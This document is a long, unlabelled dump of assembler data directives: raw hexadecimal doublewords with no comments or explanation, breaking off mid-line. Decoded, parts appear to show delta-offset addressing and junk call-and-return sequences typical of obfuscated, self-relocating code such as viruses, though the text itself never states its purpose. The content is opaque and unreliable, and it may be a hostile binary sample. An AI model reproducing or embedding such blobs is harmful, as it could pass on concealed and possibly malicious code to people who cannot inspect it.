0B7159D8Dh, 0D3FF0650h, 0BD83585Bh, 64E19E1h, 50117400h dd 0B853h, 9D8D0000h, 650B662h, 585BD3FFh, 0FE5BD8Bh, 880F064Eh dd 6, 271D8D89h, 0C08B064Eh, 0BD83C08Bh, 64E2D45h, 83097500h dd 4E19E1BDh, 13740006h, 0C08B5350h, 0B8h, 7C9D8D00h, 0FF0650B7h dd 83585BD3h, 4E19E1BDh, 11740006h, 0B85350h, 8D000000h dd 50B67B9Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0C781432Bh, 41EEF28Dh dd 2CF18589h, 0BE9064Eh, 0F6000000h, 3C150AC1h, 70992D56h dd 0C08B11BEh, 890FC08Bh, 6, 0A55BD0Bh, 0BD83064Eh, 64E2D45h dd 83097500h, 4E19E1BDh, 13740006h, 0C08B5350h, 0B8h, 0AE9D8D00h dd 0FF0650B6h, 8B585BD3h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EBBBF7C6h dd 8C34A6B2h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0E08A65C3h, 53A1B12h, 0F157076h dd 68Ah, 0E9BD3300h, 8B064E03h, 0D9958BC0h, 83064E0Ch dd 4E2D45BDh, 9750006h, 19E1BD83h, 7400064Eh, 8B535019h dd 7D0B8C0h, 85890000h, 64E21B9h, 0B9419D8Dh, 0D3FF0650h dd 0BD83585Bh, 64E19E1h, 50177400h, 7D0B853h, 85890000h dd 64E21B9h, 0B6309D8Dh, 0D3FF0650h, 13E9585Bh, 21000000h dd 0F949857Ch, 5C836471h, 0DDDA6918h, 0CBF7D619h, 9D89FC2Dh dd 64E21F9h, 0BD0BC08Bh, 64E0445h, 40185C6h, 6A53064Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 585AC355h, 0A1C9D9Eh, 395F9068h, 39958B99h dd 66064E2Bh, 0FF60B2BFh, 4E25D1B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 53DEB198h dd 6E908h, 699C0000h, 61DCB056h, 13E8h, 0BF6A2600h, 0ADF27852h dd 8D39072Fh, 331EB4D7h, 602FB09Fh, 19BD0356h, 5F064E2Dh dd 8DC88B5Ah, 4E39D885h, 0C75FBA06h, 0D0FF2999h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 26C35747h, 11E960h dd 8FD0000h, 0C3D722BAh, 80DB33Eh, 0DE3AEA2Ah, 0F0A77E6h dd 8961DEB7h, 4E0F9985h, 12E906h, 0B3B50000h, 9D5AFEB2h dd 2100F520h, 0D276976Eh, 0DD1CA97h, 203D9523h, 85C6064Eh dd 64E0401h, 668F857h, 0E8900452h, 0Bh, 4C5968A5h, 0B99F32B0h dd 0E990BA66h, 10h, 90C1BC55h, 0AE323942h, 0F70187B9h dd 0CA14398Ch, 0D1B5FF59h, 6A064E25h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C210C352h dd 0F93DC087h, 66EDB0CDh, 5238C281h, 39D8858Dh, 0CE9064Eh dd 0DD000000h, 6D311894h, 9FB9D6D3h, 0E9945FA6h, 6, 6C33A553h dd 0D0FF5EA6h, 85B7BF66h, 1B0D8589h, 8166064Eh, 0C654E0D2h dd 4E040185h, 0FE84306h, 7F000000h, 13C4339Dh, 0D293C111h dd 0E00DFBD2h, 0FBB9137Fh, 5F39EDC6h, 90702868h, 6830FBCh dd 31000000h, 4E08D19Dh, 319D0906h, 0FF064E0Ch, 4E25D1B5h dd 0D8858D06h, 0E9064E39h, 7, 5A95195Ah, 0FFD64402h, 2870FD0h dd 0B6000000h, 0A5BD2315h, 89064E29h, 4E13AD85h, 0FE806h dd 0EB5B0000h, 86E4E412h, 6C83B40Ah, 8BC2ACD6h, 0F3EF81A1h dd 5F0858EDh, 85C6D78Bh, 64E0401h, 80D38B4Ch, 0E968AEE6h dd 6AD9DA1Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 5B7DC352h, 25D1B5FFh, 13E9064Eh dd 29000000h, 0DDDFC758h, 9AC5744Ch, 5E68C42Ah, 880AA2B6h dd 858D0D80h, 64E39D8h, 14E9h, 0A3E04100h, 7A370505h, 0FCFCE970h dd 0CB049E01h, 628B5578h, 89D0FFE5h, 4E05DD9Dh, 35858906h dd 9064E0Dh, 4E25859Dh, 185C606h, 46064E04h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6C35242h, 26F18D8Bh dd 1468064Eh, 89BADE06h, 4E19899Dh, 0D1B5FF06h, 0E9064E25h dd 0Ch, 342789E0h, 90887A1Fh, 750EA883h, 39D8858Dh, 6A064Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 7B820DC3h, 9D8950AFh, 64E260Dh, 29D0FF5Ah, 4E0545BDh dd 6D858906h, 6A064E1Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 891CC350h, 4E2151BDh dd 185C606h, 47064E04h, 6824F580h, 8A0FB5E2h, 0FFD6B70Fh dd 4E25D1B5h, 0F7816606h, 858D9463h, 64E39D8h, 0D0FF03B1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 53C35040h dd 72FA1032h, 8589C4F8h, 64E1B41h, 0C6CEB70Fh, 4E040185h dd 8D894706h, 64E1819h, 68D1B70Fh, 83D0B5F3h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0A3C35747h, 0FF205E8Ah dd 4E25D1B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0C6A2DA8Ch, 963FECB0h, 8D03B625h dd 4E39D885h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 3FD281B3h, 0FF7158CEh, 81CE80D0h dd 33358589h, 820F064Eh, 3, 0C6CA8B66h, 4E040185h, 17B97706h dd 6811F8F8h, 0F397A8A3h, 12E8h, 3036BD00h, 0AB13564Ah dd 5A39DACDh, 0B0FFF05Eh, 5F1A22CFh, 215DB5FFh, 0B529064Eh dd 64E1F2Dh, 39D8858Dh, 0D0FF064Eh, 2FC58D89h, 8589064Eh dd 64E2F4Dh, 40185C6h, 8B47064Eh, 4E14018Dh, 0FAF66806h dd 8D8B8728h, 64E0BADh, 25D1B5FFh, 0EF81064Eh, 7EF8F9B6h dd 39D8858Dh, 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 49BE58C3h, 0FE8804Ch, 0AB000000h dd 0F38F768Ah, 7861BBE5h, 8FC2C81Bh, 0D38BF28Fh, 6AD0FF5Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FD6C350h, 1983h, 14E900h, 72B20000h, 861F7020h dd 0FB18AE43h, 1D3AC373h, 0FD71108Fh, 0CE9F12Bh, 54000000h dd 903125C3h, 42EBEB12h, 897ECBD2h, 4E156985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0D1503E8Eh, 7631F31Bh, 852934C4h, 64E16ADh, 131D8589h dd 85C6064Eh, 64E0401h, 68CF8A43h, 0BC8E6EFCh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C9C35242h, 0EFCFB3A0h dd 5E91Fh, 1C0F0000h, 0FFB72DDCh, 4E25D1B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0A72742BEh, 387302A3h, 858D6B52h, 64E39D8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A9C35040h, 25EFB521h dd 800F15A5h, 5, 0D39DC5BAh, 8BD0FF68h, 4E0F858Dh, 0B5858906h dd 8B064E2Fh, 4E17BD8Dh, 185C606h, 45064E04h, 0AE856h dd 2E120000h, 58D36FAAh, 0F5214C1h, 5FC88B66h, 6969685Ah dd 6A8E72h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0AD9490C3h, 0AA234591h, 850F82h, 0FF000000h dd 4E25D1B5h dd 0D18B6606h, 39D8858Dh, 8B66064Eh, 0FD0FFF9h, 289h, 89D08B00h dd 4E0FCD85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0CA40A000h, 80EB9F94h, 85C6B2D2h dd 64E0401h, 0D1816644h, 870F3495h, 0 dd 0F2EC6468h, 51006AB8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 5E97Ch, 0D0390000h, 0FF9D48B5h dd 4E25D1B5h, 0F5B50906h, 8D064E0Ch, 4E39D885h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0AEB0B8BFh, 0B035824Fh, 0D1B70F65h, 1251958Bh, 0D0FF064Eh dd 2B718D29h, 0CF8B064Eh, 15158589h, 9589064Eh, 64E1B85h dd 40185C6h, 8B43064Eh, 4E2189BDh, 4AA76806h, 6AC076h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0CEC791C3h, 533CC000h, 29EDC7C6h, 4E18F5B5h, 0D1B5FF06h dd 0F064E25h, 858DCBBFh, 64E39D8h, 2C7D8D8Bh, 0B589064Eh dd 64E2B2Dh, 8D09D0FFh, 64E08F5h, 250D8589h, 0CBF064Eh dd 804D9870h, 51065DBDh, 840F0006h, 0D6h, 0CC98D8Bh, 858D064Eh dd 651063Fh, 0FFE8B60h, 687h, 83F68100h, 6119769Eh, 0FA8B6650h dd 0D08B016Ah, 0B589006Ah, 64E13C1h, 0DE8006Ah, 0C9000000h dd 0B5A2A307h, 69E087A2h, 180F2CB2h, 13F1BD8Bh, 0FF59064Eh dd 4E13AD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 608B19C8h, 0A7CBD181h, 8E0F2C16h dd 6, 9358589h, 8961064Eh, 4E13BD85h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0B054E63Dh, 5E9D64Ah, 62000000h, 1A79134Ch, 3353FF6Ah dd 4E0641BDh, 0BA665906h, 0B5FFFB23h, 64E13BDh, 22399D89h dd 95FF064Eh, 64E1B0Dh, 0A259D89h, 0C08B064Eh, 15958B60h dd 0E8064E27h, 7, 684EAC02h, 29957138h, 4E0DF99Dh, 83615806h dd 4E2D45BDh, 9750006h, 19E1BD83h, 7400064Eh, 8B535019h dd 7D1B8C0h, 85890000h, 64E21B9h, 0B9419D8Dh, 0D3FF0650h dd 0BD83585Bh, 64E19E1h, 50177400h, 7D1B853h, 85890000h dd 64E21B9h, 0B6309D8Dh, 0D3FF0650h, 13E9585Bh, 0B7000000h dd 0C01BF07Ah, 0F0268481h, 0B00DCB17h, 7A9A75ADh, 840F40C5h dd 6, 0D51958Bh, 0C08B064Eh, 3E0C97B9h, 0DE94Eh, 11790000h dd 144BCF4Fh, 0C89863ECh, 0C6DE89B9h, 4E040185h, 958B4706h dd 64E2165h, 12E9h, 3DC3AC00h, 8ACFA88Ah, 675849C2h, 0C7FEE962h dd 68A1F895h, 93C8F7C1h, 7A1BD89h, 0BF0F064Eh, 0D1B5FFCBh dd 89064E25h, 4E30B9BDh, 0D8858D06h, 53064E39h, 0D96BBA66h dd 89D0FF5Ah, 4E2F6D85h, 850F5006h, 6, 8898589h, 8D8B064Eh dd 64E2C49h, 0A80858Dh, 6A0651h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 1AC4CCC3h, 1659B264h dd 0BA784779h, 46709501h, 9400C7h, 5E80000h, 67000000h dd 0B0D3C5Ah, 10E9h, 0FBF78600h, 8D7A92F0h, 25B331Ah, 64F0DDFBh dd 0E8585910h, 14h, 99EDC475h, 8C0459B0h, 9A277F14h, 0CB4AEF94h dd 4A191996h, 0D67FB966h, 80B58D59h, 8906510Ah, 4E10819Dh dd 0BF0F5606h, 6AD0FFFEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0C70AC352h, 0F46FB5A1h dd 0A80858Dh, 95890651h, 64E11D1h, 6047883h, 4D850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 8DDC7CC3h, 4EC0625Ch, 0D2819434h, 0DC34B31h, 0EE9h dd 2E0DB100h, 0D60DE9D3h, 1F79FE43h, 0C7F0AF29h, 510B1485h dd 106h, 85BD8B00h, 83064E2Ah, 4E060DBDh, 850F0006h, 0A8h dd 0C4CA8166h, 298D8BB4h, 83064E00h, 510B14BDh, 850F0006h dd 90h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0CAC35646h, 13E853h, 636C0000h, 9F389618h, 405BD92Fh dd 193340FFh, 65D84E5Ch, 0BD835AC1h, 64E1FC9h, 4D840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 66D2C357h, 952BB64Dh, 64E0471h dd 15E985C7h, 64Eh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 52719FC3h, 66DB8C66h dd 8BFFCBBFh, 4E0E118Dh, 4C3F606h, 570840Fh, 95330000h dd 64E1F35h, 264985C7h, 64Eh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 4F1F2FC3h dd 0F89B82EDh, 7E877h, 0D00B0000h, 69FF5F37h, 5AFA8BE7h dd 27EBF66h, 66ABD80h, 0F000651h, 285h, 0C6CA8B00h, 4E040185h dd 0BD2B4706h, 64E0F65h, 0E45B8668h, 0FFAAB2E3h, 4E25D1B5h dd 0D78B6606h, 39D8858Dh, 0FC51064Eh, 0E9D0FF59h, 13h dd 8CD0FAh, 49E0A71Eh, 0F130E34Eh, 217CDDCFh, 68549212h dd 104h, 6840Fh, 0B5290000h, 64E08D9h, 27519D8Dh, 0CE8064Eh dd 0E3000000h, 0D834125Bh, 2B7F681Bh, 8B66FC6Bh, 8B665AFBh dd 14E953CFh, 46000000h, 0E1D3304h, 68DCE990h, 15749C26h dd 213421C6h, 0FFA225DAh, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B5A75965h dd 8EA95D15h, 51BD339Ah, 8D064E0Eh, 4E275185h, 0A9858906h dd 50064E05h, 0C850Fh, 7E90000h, 85000000h, 4066AF2Fh dd 858D2350h, 651061Ch, 0FE9h, 6CC78F00h, 52E4403Ah, 0B7E0957Fh dd 3D9EF83Ch, 458D2950h, 8D064E1Fh, 50FCEF85h, 6860F06h dd 8B000000h, 4E26158Dh, 958B5006h, 64E2A99h, 2F4D95FFh dd 6A064Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 6642BEC3h, 0BC82F781h, 8D4C781h, 0C483653Bh dd 55006A0Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0E40734AFh, 0B6FFC6BBh, 8D8B3891h, 64E260Dh dd 6159529h, 6A064Eh, 8068h, 6A036A00h, 68006A00h, 80000000h dd 0FCEF858Dh, 0FF500650h, 4E2FB595h, 0FF858906h, 0C6065105h dd 4E040185h, 87684706h, 0FFC7B15Eh, 4E25D1B5h, 0D8858D06h dd 0FF064E39h, 0FF006AD0h, 5105FFB5h, 0BFD0FF06h, 377FECD6h dd 8AD18166h, 55B5898Bh, 3D064E30h, 37D0h, 47830Fh, 0BD8B0000h dd 64E0801h, 5FFB5FFh, 95290651h, 64E2659h, 250D95FFh dd 353064Eh, 4E0B058Dh, 35E95906h, 0E8000001h, 14h, 58265CF1h dd 0A1D2101Ah, 72DF765Ah, 14288BEBh, 559BA5EBh, 2890Fh dd 5A560000h, 0FFB5FF5Fh, 81065105h, 7C98F5DFh, 0D95FF46h dd 0B064E25h, 4E0351BDh, 25BA6606h, 1006AB9h, 4E30F585h dd 0FD958B06h, 6A064E0Ch, 0C88B6600h, 9E9006Ah, 33000000h dd 17E15EEDh, 0F5D794C2h, 6AD18Bh, 6AD08Ah, 1291958Bh dd 6A064Eh, 6E860h, 0AC130000h, 90E58669h, 5D59531h, 0F58064Eh dd 583h, 0DE74BF00h, 8D6143FEh, 51060385h, 138A0F06h, 0F000000h dd 0D83h, 8E900h, 0F3DB0000h, 645D5E71h, 6A5085AFh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 50EFC357h, 3119D2F8h, 4E069D9Dh, 0B595FF06h, 6A064E2Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 828DC356h, 0EFBF5DFBh, 8B85250Fh, 4E1519BDh dd 0DE906h, 1A7D0000h, 909F53C3h, 6C770810h, 83C3D20Ah dd 850FFFF8h, 147h, 13C18D09h, 8960064Eh, 4E25D59Dh, 198D8906h dd 61064E21h, 0C18F858Dh, 14E80650h, 0A2000000h, 85630709h dd 2097C836h, 9F6FA6EFh, 0D55AC6DCh, 89B6AB06h, 4E27359Dh dd 0D0FF5906h, 6860Fh, 0BD330000h, 64E0789h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 70CBFCC3h, 9F232810h, 2A45B589h, 6A064Eh, 89006AFCh dd 4E0615BDh, 89006A06h, 4E087D8Dh, 8B006A06h, 4E21BDBDh dd 0F006A06h, 1085h, 0A800F00h, 0E9000000h, 5, 9824D082h dd 858DFCD3h, 6510603h, 8950D78Bh, 4E263D95h, 0B595FF06h dd 81064E2Fh, 4D22D2EAh, 0FFF88301h, 7D850Fh, 85890000h dd 64E0C11h, 0BB58Dh, 8DF80651h, 50AABE85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9D89F037h, 64E05B5h, 0AC1B589h, 0D0FF064Eh, 7E9h, 2944BB00h dd 0A6357056h, 9D09006Ah, 64E169Dh, 0FCD95FFh, 6A064Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0A58CE3C3h, 99A10396h, 89CAB70Fh, 5105FF85h, 0FDBD8B06h dd 6A064E0Ah, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0C4523383h, 0A04096D0h, 3C81C181h dd 858D57CFh, 65105F7h, 8B6050FCh, 4E1F29BDh, 61D88A06h dd 0AB5BD89h, 46A064Eh, 28BD9529h, 858D064Eh, 64E314Dh dd 1A618D8Bh, 2950064Eh, 4E26B99Dh, 8B006A06h, 0F006AFEh dd 8Ch, 9016A00h, 4E25DD85h, 0FFB5FF06h, 0FF065105h, 4E151595h dd 7830F06h, 0F000000h, 187h, 8D8BF900h, 64E11D9h, 1C84E9h dd 0EE800h, 5B0000h, 0F0C91B17h, 0B6F82430h, 7AD692D4h dd 0BB779BBFh, 0C08B5907h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 27C35343h, 83DFC88Eh, 4E2D45BDh, 9750006h dd 19E1BD83h, 7400064Eh, 8B535019h, 7D2B8C0h, 85890000h dd 64E21B9h, 0B9419D8Dh, 0D3FF0650h, 0BD83585Bh, 64E19E1h dd 50177400h, 7D2B853h, 85890000h, 64E21B9h, 0B6309D8Dh dd 0D3FF0650h, 8D89585Bh, 64E1621h, 0AE9h, 1524EB00h, 3B12C076h dd 8B5F16F7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 80A0910Eh, 85C71CCEh, 64E2649h, 1 dd 0C0D9589h, 0B868064Eh, 0FFCEE4E7h, 4E1FB5B5h, 0D8858D06h dd 0FF064E39h, 0AD8589D0h, 68064E26h, 0C005DBD4h, 1FB5B5FFh dd 858D064Eh, 64E39D8h, 8589D0FFh, 64E2519h, 0FAA8858Dh dd 0FF500650h, 4E25D1B5h, 4195FF06h, 0B064E1Bh, 8B0B74C0h dd 5B858DD8h, 5006510Ah, 858DD3FFh, 6510A5Bh, 9388366h dd 85C70A75h, 64E2999h, 1, 156995FFh, 0FF25064Eh, 83000000h dd 0A7305F8h, 11E585C7h, 1064Eh, 0C1810000h, 16552929h dd 6158D8Bh, 0BD80064Eh, 651066Ah, 0B850F00h, 0B1000000h dd 1B13E9EFh, 0B9660000h, 0BD837D7Ah, 64E2999h, 0BB850F00h dd 8D000000h, 51063485h, 8B665006h, 8B016AD7h, 4E07A195h dd 66006A06h, 50EDE281h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 55847C3h, 373082Ch, 4E26258Dh dd 0F5950906h, 89064E08h, 4E2CF5BDh, 0AD95FF06h, 66064E13h dd 89B1D8B9h, 51065E85h, 0F5958B06h, 6A064E0Ch, 14E9FFh dd 7B350000h, 19778B88h, 61A4B608h, 0EDB43C13h, 247C8A89h dd 0B5FF8194h, 651065Eh, 0EE9h, 0E3717E00h, 4196037Dh dd 0AA1B6219h, 0FF9DF6CAh, 4E1B0D95h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 858D7F62h, 650FA6Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 53C35040h, 95878DE9h, 51FB1438h, 59CF8B66h dd 0C58D8B50h, 0FF064E11h, 4E0D3595h, 193BBA06h, 85897396h dd 650FAF9h, 0EE8h, 27149400h, 0A7AE9819h, 1B8FAEF0h, 0E9174D81h dd 0Dh, 0BEDE423Fh, 8C12A3F7h, 898B6A4Ah, 858D59A8h, 650FA7Ch dd 0EE853h, 29150000h, 0DA2A9865h, 6CB4FD50h, 81873931h dd 3118589h, 595F064Eh, 7E850h, 84920000h, 46CE7579h, 0B5FF5925h dd 650FAF9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0E1C35545h, 0F8FE606Fh, 8B6684C0h, 4195FFCEh, 0B2064E1Bh dd 318589BDh, 8D064E29h, 50FAEA85h, 9FF18106h, 50733998h dd 0F9B5FFF8h, 8B0650FAh, 4E0B498Dh, 4195FF06h, 6A064E1Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 4925C351h, 21397359h, 2691B501h, 8589064Eh dd 650FB0Dh, 858DFA8Bh, 650FAC9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 6EC35646h, 45BD0950h, 0FF064E16h dd 50FAF9B5h, 0D58D8906h, 0F064E0Bh, 95FFF8BFh, 64E1B41h dd 8589E4B6h, 650FB05h, 0FABC858Dh, 6A0650h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9D8A60C3h dd 8E0F50D0h, 6, 5758531h, 0B5FF064Eh, 650FAF9h, 50E58050h dd 4195FF59h, 53064E1Bh, 35F78166h, 85895A0Ch, 650FB09h dd 89C9B70Fh, 4E0F7DB5h, 0D7858D06h, 6A0650FAh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 20DFC351h, 871D82A7h, 39BD8B65h, 8B064E10h, 6A50F8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 5A685C3h, 0D6691C6Ah, 0F9B5FF87h, 330650FAh, 4E0BC5BDh dd 4195FF06h, 8B064E1Bh, 398589CAh, 0F064E27h, 1780h, 12E900h dd 0CF260000h, 5B9EEE38h, 70D7694Fh, 67534BCCh, 18CA6C37h dd 1B659589h, 858D064Eh, 650FA8Bh, 10E9h, 679E2200h, 3A0CD4D8h dd 0F2ABE2E0h, 0DA8BED8Eh, 958950D7h, 64E2109h, 0FAF9B5FFh dd 890F0650h, 5, 2AE18052h, 4195FF5Fh, 89064E1Bh, 50FAFD85h dd 8DD18B06h, 50FA9A85h, 2D958B06h, 50064E15h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0F3C35040h, 10E9h dd 6B653A00h, 3210BAE6h, 512C1C3Fh, 0E181674Dh, 0F9B5FFD0h dd 6A0650FAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 6718C351h, 138C91A2h, 0E95CB2B9h dd 7, 92F0F99h, 6648486Ah, 0FFCE86BFh, 4E1B4195h, 0BE806h dd 0EE1B0000h, 142E741Fh, 0EB52B8C1h, 8F5BBFABh, 895F4558h dd 50FB0185h, 0A616BF06h, 468124Fh, 0F000001h, 38Eh, 0F98B6600h dd 0FB91858Dh, 14E80650h, 0E3000000h, 5C58163h, 0BF37B0F7h dd 25E35959h, 88234311h, 80DD6DA3h, 505FBCF1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B1C35242h, 21B50133h dd 8D064E1Fh, 50FC9585h, 3526006h, 4E256DBDh, 52BA5F06h dd 61651374h, 3595FF50h, 8B064E33h, 4E05A5BDh, 0FC08506h dd 0A85h, 81666000h, 66BC8BD3h, 8061F08Bh dd 51066ABDh, 850F0006h, 2Eh, 11E8h, 0EFCA5D00h, 32A35720h dd 3A352C40h, 9D4A319Fh, 7E9DF10h, 5F000000h, 53DBD340h dd 0E959D177h, 1655h, 0DDD950Bh, 0BD83064Eh, 64E2999h dd 66850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0EEBEC351h, 1ECB3244h dd 830F8B18h, 2Ah, 0FE8h, 0AFBF1D00h, 0F73941B6h, 0E4FEB4h dd 1E73E806h, 10E9h, 2E9FB100h, 229FD50Dh, 0BDF3478Ah dd 9F59AD0Ch, 0BD835906h, 6510B14h, 35840F00h, 8B000000h dd 4E2221BDh, 2E858D06h, 810650FBh, 0FE107EF1h, 6D9D8921h dd 0E9064E03h, 15C5h, 27D8589h, 19E9064Eh, 8B000000h, 4E0B7595h dd 1850F06h, 0F9000000h, 0FB19858Dh, 0BD8B0650h, 64E25FDh dd 0FB8B6650h, 0FB91858Dh, 8D090650h, 64E2A69h, 25858950h dd 83064E25h, 4E2999BDh, 840F0006h, 5Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 0C8C35747h, 0D899589h dd 858D064Eh, 650FCB7h, 0B5D8D8Bh, 38E9064Eh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 5F9CC350h, 0EA97F28Ah, 2C498D8Bh, 858D064Eh dd 650FCA0h, 618D8960h, 0F064E25h, 5061D7BFh, 2615BD29h dd 858D064Eh, 650FCEFh, 50D68B66h, 1890Fh, 0FFF50000h dd 4E2F4D95h, 958D8B06h, 83064E1Bh, 6A10C4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D89C8C3h dd 64E26A9h, 13018D8Bh, 0C08B064Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 1DC35646h, 0D958B14h, 83064E26h dd 4E2D45BDh, 9750006h, 19E1BD83h, 7400064Eh, 8B535019h dd 7D3B8C0h, 85890000h, 64E21B9h, 0B9419D8Dh, 0D3FF0650h dd 0BD83585Bh, 64E19E1h, 50177400h, 7D3B853h, 85890000h dd 64E21B9h, 0B6309D8Dh, 0D3FF0650h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 6E55ADC3h dd 296D9D01h, 0BD33064Eh, 64E062Dh, 2CDDBD89h, 4CB9064Eh dd 8B441A6Bh, 19BD81C0h, 6F0650FBh, 0F616572h, 8584h, 8DF88B00h dd 50FB9185h, 858D5006h, 650FCCEh, 0EF858D50h, 500650FCh dd 2F4D95FFh, 0C483064Eh, 185C60Ch, 44064E04h, 0A3184F68h dd 0D1B5FF96h, 8D064E25h, 4E39D885h, 8BD0FF06h, 0EF858DD8h dd 500650FCh, 858DD3FFh, 650FB19h, 91858D50h, 500650FBh dd 2999BD83h, 7400064Eh, 0B7858D08h, 0EB0650FCh, 0A0858D06h dd 500650FCh, 0FCEF858Dh, 0FF500650h, 4E2F4D95h, 10C48306h dd 0DA81E88Ah, 1D5AACAEh, 95FFCA8Bh, 64E1569h, 15058D29h dd 0FF25064Eh, 0E8000000h, 12h, 0FF30B172h, 6E3956F0h dd 51F13ADFh, 95B44418h, 14E8FE57h, 0B0000000h, 496BC61Fh dd 0D7ED8257h, 5EB11814h, 0B2A8B1Dh, 29F147F8h, 4E16359Dh dd 835A5A06h, 830F05F8h, 6Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0DC35242h, 0BD8BE3F3h, 64E0AE1h dd 11E585C7h, 1064Eh, 0BF0F0000h, 4D858DFAh, 660650FBh dd 0E9CCB7B9h, 5Fh, 9E8h, 0DBB6F900h, 0A10E7C14h, 14E8813Eh dd 0A0000000h, 0AB2471B9h, 0ED89762Ch, 0A9FC644Ch, 338349EFh dd 0BAD0C452h, 4B12D713h, 0BD835F5Ah, 64E2999h, 1C840F00h dd 8B000000h, 4E132195h, 0CF816606h, 858D0681h, 650FB78h dd 0EE9h, 9BD8900h, 8D064E0Ch, 50FB5A85h, 894AB106h, 50FB8D85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 3399EE8Dh, 3EABCE80h, 8D3152EBh, 64E2509h dd 99BD835Ah, 